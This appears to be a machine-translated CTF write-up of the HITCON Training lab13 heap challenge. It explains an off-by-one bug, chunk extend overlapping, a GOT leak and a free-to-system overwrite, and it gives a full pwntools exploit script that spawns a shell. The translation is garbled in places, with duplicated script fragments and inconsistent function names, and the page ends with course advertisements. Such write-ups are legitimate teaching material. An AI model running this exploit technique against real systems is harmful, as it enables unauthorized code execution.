Heap utilization-Chunk extend Overlapping

Vulnerability Introduction

chunk extend
Overlapping is a relatively common method of utilization in the heap. The main principle is that we can modify the size of some heap blocks that have been applied for or are in the idle state due to some unexpected situations, resulting in overlapping heap blocks, which is also It caused a series of security risks.

This article involves related experiments: [Advanced stack overflow technology – ROP combat] (https://www.hetianlab.com/cour.do?w=1 &c=CCID31b0-fe03-4277-8e2f-504c4960d33f &pk_campaign =secin-
wemedia) (the full name of ROP is Return-oriented
programming (return-oriented programming), which is an advanced memory attack technique in which an attacker uses control of the stack to execute carefully selected instructions or machine instructions immediately and indirectly before a return instruction in a subroutine in existing program code Group. )

Here I will introduce the utilization process of this vulnerability according to a question

Example: HITCON Training lab13

Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: No PIE (0x400000)

Check the protection mechanism, enable canary and nx protection, because the source code is given in the title, so we directly analyze the source code

Source code analysis

void menu(){
    puts("-------------------------------");
    puts("Heap Creator");
    puts("-------------------------------");
    puts(" 1. Create a Heap ");
    puts(" 2. Edit a Heap ");
    puts(" 3. Show a Heap ");
    puts(" 4. Delete a Heap ");
    puts(" 5. Exit ");
    puts("-------------------------------");
    printf("Your choice:");
}

Classic menu questions, perform different functions according to the options we enter

Create function

Let’s take a look at the Create function first

void create_heap(){
    int i ;
    char buf[8];
    size_t size = 0;
    for(i = 0 ; i < 10 ; i ++ ){
        if(!heaparray[i]){
            heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
            if(!heaparray[i]){
                puts("Allocate Error");
                exit(1);
            }
            printf("Size of Heap : ");
            read(0,buf,8);
            size = atoi(buf);
            heaparray[i]->content = (char *)malloc(size);
            if(!heaparray[i]->content){
                puts("Allocate Error");
                exit(2);
            }
            heaparray[i]->size = size;
            printf("Content of heap:");
            read_input(heaparray[i]->content, size);
            puts("SuccessFul");
            break;
        }
    }
}

The heaparray array is an array of declared heap structures, the contents of which are as follows

struct heap {
    size_t size;
    char *content;
};

First, the create function will allocate a 0x10 memory for each structure element in the heaparray, then allocate the memory of the size we specified to the content pointer in the structure, and execute the read_input function to store the content we input

Edit function

Next, continue to look at the Edit function

void edit_heap(){
    int idx;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        printf("Content of heap : ");
        read_input(heaparray[idx]->content,heaparray[idx]->size + 1);
        puts("Done!");
    }else{
        puts("No such heap!");
    }
}

The edit function will look for the corresponding structure in the heaparray according to the index we input. It should be noted that the index here is consistent with the array and starts from zero. It should be noted here that the read_input function co-stores the size + 1 bit, which also results in off-
By-one vulnerability, find a vulnerability point.

Show function

Continue to the Show function to print the content stored in the content of the corresponding structure

void show_heap(){
    int idx;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        printf("Size : %ld\
Content : %s\
",heaparray[idx]->size,heaparray[idx]->content);
        puts("Done!");
    }else{
        puts("No such heap!");
    }
}

Delete function

And the last thing we need to focus on is

void delete_heap(){
    int idx;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]->content);
        free(heaparray[idx]);
        heaparray[idx] = NULL;
        puts("Done!");
    }else{
        puts("No such heap!");
    }
}

In the delete function, it first frees the memory requested by the content and then frees the structure memory, which will be used when we exploit the vulnerability later

Exploitation

Our idea here is to:

1. Use the off by one vulnerability to complete heap overlap and build a heap block containing /bin/sh

2. Leak free function and calculate libc base address and system address

3. The address in the got table covering the free function is the system address

4. Free the heap block containing /bin/sh and get the shell

We first construct the function function corresponding to the above code in exp

def menu(index):
    p.sendlineafter("Your choice :", str(index))
def Create(heap_size, content):
    menu(1)
    p.sendlineafter("Size of Heap : ", str(heap_size))
    p.sendlineafter("Content of heap:", content)
def Edit(index, content):
    menu(2)
    p. sendlineafter("Index :", str(index))
    p.sendlineafter("Content of heap : ", content)
def Show(index):
    menu(3)
    p. sendlineafter("Index :", str(index))
def Free(index):
    menu(4)
    p. sendlineafter("Index :", str(index))

1. Use off-by-one to complete extend overlapping

In the source code, we found that there is an off by one vulnerability, and we use this vulnerability to complete the extend overlapping of the heap block

Use pwndbg to debug the program

----------------------------------
          Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Show a Heap
 4. Delete a Heap
 5. Exit
--------------------------------
Your choice: 1
Size of Heap : 24
Content of heap: content1
SuccessFulfill
--------------------------------
          Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Show a Heap
 4. Delete a Heap
 5. Exit
--------------------------------
Your choice: 1
Size of Heap : 16
Content of heap: content2
SuccessFulfill

First we create two heaps, then ctrl + c, use the heap command to view the status of the current heap

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
//struct1
Allocated chunk | PREV_INUSE
Addr: 0x603250
Size: 0x21
//struct1->content
Allocated chunk | PREV_INUSE
Addr: 0x603270
Size: 0x21
//stuct2
Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0x21
//struct2->content
Allocated chunk | PREV_INUSE
Addr: 0x6032b0
Size: 0x21
//top chunk
Top chunk | PREV_INUSE
Addr: 0x6032d0
Size: 0x20d31

These are the memory we applied for, view the memory information

pwndbg> x/20gx 0x603250
0x603250: 0x0000000000000000 0x0000000000000021
0x603260: 0x0000000000000018 0x0000000000603280
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x31746e65746e6f63 0x000000000000000a
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000010 0x00000000006032c0
0x6032b0: 0x0000000000000000 0x0000000000000021
0x6032c0: 0x32746e65746e6f63 0x000000000000000a
0x6032d0: 0x0000000000000000 0x0000000000020d31

From address to high address are

0x603250-0x603268 memory requested by heap_struct1
0x603270-0x603288 memory requested by heap_stuct1->content
0x603290-0x6032a8 memory requested by heap_struct2
0x6032b0-0x6032c8 memory requested by heap_struct2->content

And their storage corresponds to the structure of the heap blocks in the system [External link image transfer failed, the source site may have an anti-leeching mechanism, it is recommended to save the image and upload it directly (img-Kr5TEhp6-1692440833521)(https://image.3001 .net/images/20211021/1634828395_6171806b034dbd58c83b8.png!small)]

Let’s take the first heap block for illustration

0x603250 stores the size of the previous heap block (prev_size)

0x603258 stores the size of the current heap block (size)

0x603260-0x603268 is where the heap_struct1 structure is stored

In particular, when the previous heap block of the heap block is in use, it will be recorded as 1 by the lowest bit of the current heap block size, and prev_size will also be used as available memory for the previous heap block to store data. Speaking of this, it can also explain why the size of size is 0x21. Under 64-bit programs, prev_size and size each occupy 8 bytes, plus 0x10 in the data field, the total is 0x10 + 0x8 + 0x8=0x20, and Because the P bit used to record the usage status of the previous heap block in the size field of the current heap block is set to 1, we need to add 1, so the final value stored in the size field is 0x21.

Going back to exploiting the vulnerability, when we create these 4 heap blocks (two structs and two contents), when executing the Edit function, because off-by-
One vulnerability, we can input a total of size + 1 character, and when we select the object of Edit as content1, because the heap is continuous, we can overwrite one byte of struct2, according to the above for the heap block Introduction, if we overwrite the size of the current heap block, it will cause extend, and then trigger a new exploit.

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-qsQk4ZdV-1692440833522)(https://image.3001.net/images/20211021/1634828396_6171806c1019a48d5d481.png!small )]

Continue to execute the program, because we have applied for 24 memory for content1, so here we enter 25 characters.

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-RYMNT0kk-1692440833523)(https://image.3001.net/images/20211021/1634828397_6171806d468618007017e.png!small )]

Check the situation in the heap and find that because off-by-
Because of one, we have successfully overwritten the size field of struct2, and what we want to achieve is to control the memory of struct2 and struct2->content, so here we overwrite the number with 0x41, and the ASCII code value of ‘A’, corresponding to The exp looks like this:

Create(24, "content1")
Create(16, "content2")
binsh = "/bin/sh\x00"
Edit(0, binsh. ljust(25, "A"))

Here, the padding bit is changed to “/bin/sh” for our subsequent access to the shell

4.png

Next we need to free heap2 (struct2 and struct->content)

free(heaparray[idx]->content);
free(heaparray[idx]);

According to the rules of bins in the heap, our current free chunk will be recycled into tcache, and in the source code, we first free the struct->content and then free the struct, and if we apply for a heap block (denoted as struct3) , then the memory area applied by struct3 will be the memory area just freed by struct2->content, and when we set the memory size applied by struct3->content to 0x30, the memory area of struct2 after we extend will be replaced by struct3 -> content used.

We use gdb to debug the memory layout of a newly created heap block after free

Free(1)
Create(0x30, "content3")

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-kJzwFKjm-1692440833524)(https://image.3001.net/images/20211021/1634828459_617180ab949b4bdc6006c.png!small )]

It can be seen that we have successfully completed extend overlapping here, and all of them are stored in tcache, and continue to execute the program

6.png

You can see that the original free block has been used, let’s take a look at the content stored in it

[External link picture transfer failed, the source site may have an anti-leeching mechanism, it is recommended to save the picture and upload it directly (img-Db51ZoY1-1692440833525)(https://image.3001.net/images/20211021/1634828462_617180ae40ffeda8c761c.png!small )]

It can be seen here that we have successfully created the memory of struct3 and struct3->content, so it may not be obvious, so I will explain it in detail here

0x22d5290-0x22d52c8 is the memory area of struct3->content

0x22d52b0-0x22d52c8 is the memory area applied by the structure of struct3

0x22d52d0-0x22d52d8 is the arena’s memory area (i.e. top chunk)

It can be seen that the structure memory area of struct3 is included in the memory area of struct3->content, and we can write to the memory area of struct3->content through the Edit function, so what we need to do now The thing is the next few steps

1. Leak the real address in the free function got table

2. Calculate the libc base address and system address through the real address of the free function

3. Replace the address in free_got with the real address of the system function

4. Get the shell

2. Leak free function & amp; & amp; calculate libc base address and system address

To achieve this step, we only need to change the address of the content pointer in the struct3 structure to the address of free_got through the edit function, and use the show function to print out the real address.

8.png

The corresponding exp is as follows

Edit(1, p64(0)*3 + p64(0x21) + p64(0x30) + p64(free_got))
show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("free addr: 0x%x"%free_addr)

And when we have the base address of the free function, we can find the addresses of libc and system

libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: ' + hex(system_addr))

Results as shown below

9.png

3. Get the shell

So far we have completed all the necessary conditions for obtaining the shell, and finally we only need to modify free_got
The real address in is just the address of system. Because we have changed the address of the content pointer in the struct structure to free_got
The address, all here we only need to modify the content through the Edit function, after the modification is completed, we execute the free function is equivalent to executing the system function, and we have built a file containing “/bin/sh” chunk (struct1->content), that is to say, as long as we free struct1->content, we can complete the exploit and obtain the shell

10.png

The corresponding exp is as follows

Edit(1, p64(system_addr))
free(0)

Then we can execute system(“/bin/sh”) to get the shell

[External link picture transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the picture and upload it directly (img-AFuQY4U8-1692440833526)(https://image.3001.net/images/20211021/1634828468_617180b41f3c54a25e903.png!small )]

The complete exp is as follows

from pwn import *
import time
def menu(index):
    p.sendlineafter("Your choice :", str(index))
def Create(heap_size, content):
    menu(1)
    p.sendlineafter("Size of Heap : ", str(heap_size))
    p.sendlineafter("Content of heap:", content)
def Edit(index, content):
    menu(2)
    p. sendlineafter("Index :", str(index))
    p.sendlineafter("Content of heap : ", content)
def Show(index):
    menu(3)
    p. sendlineafter("Index :", str(index))
def Free(index):
    menu(4)
    p. sendlineafter("Index :", str(index))
def debug():
    gdb. attach(p)
p = process('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./heapcreator')
free_got = elf. got['free']
Create(24, "content1")
Create(16, "content2")
binsh = "/bin/sh\x00"
Edit(0, binsh. ljust(25, "A"))
free(1)
Create(0x30, "content3")
Edit(1, p64(0)*3 + p64(0x21) + p64(0x30) + p64(free_got))
show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("free addr: 0x%x"%free_addr)
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: ' + hex(system_addr))
Edit(1, p64(system_addr))
debug()
free(0)
p. interactive()

Reference link

https://blog.csdn.net/qq_41202237/article/details/108320408

https://blog.csdn.net/weixin_43921239/article/details/107841328

e + libc.symbols[‘system’]
log.success(‘system addr: ’ + hex(system_addr))
Edit(1, p64(system_addr))
debug()
free(0)
p. interactive()

Reference link

https://blog.csdn.net/qq_41202237/article/details/108320408

https://blog.csdn.net/weixin_43921239/article/details/107841328

If you are interested in the introduction of network security, then you click here CSDN spree: “Hacker & amp; Introduction to Network Security & amp; Advanced Learning Resource Pack” for free sharing h3>

If you are interested in network security, learning resources are shared for free, guaranteed 100% free! ! ! (Hey guest tutorial)

Internet Security (Heike) full set of learning videos

When we watch videos and learn, we can’t just move our eyes and brain without using our hands. A more scientific learning method is to use them after understanding. At this time, the hands-on project is very suitable.

img

img

Network security (Heike red and blue confrontation) learning routes in all directions****

For students who have never been exposed to network security, we have prepared a detailed learning and growth roadmap for you. It can be said that it is the most scientific and systematic learning route, and it is no problem for everyone to follow this general direction.

img

Learning Materials Kit

Good information at the bottom of the box, comprehensively introduces the basic theory of network security, including reverse engineering, eight-layer network defense, assembly language, white hat web security, cryptography, network security protocols, etc., closely combines the basic theory with the application practice of mainstream tools , which is helpful for readers to understand the implementation mechanism behind various mainstream tools.

Interview Question Information

Exclusive channels to collect test questions from companies such as JD.com, 360, and Tianrongxin! Entering the big factory is just around the corner!

Heike necessary development tools

If a worker wants to do a good job, he must first sharpen his tools. The development software commonly used by learning Hey customers is here, which saves you a lot of time.

This complete set of learning materials for network security (Hey guest) has been uploaded to the CSDN official website. If you need to click the link below, you can also scan the WeChat QR code below to get the network Full set of information for engineers【Guaranteed 100% free】

If you need it, you can click CSDN spree: “Hey Ke & amp; Introduction to Network Security & amp; Advanced Learning Resource Pack” to share for free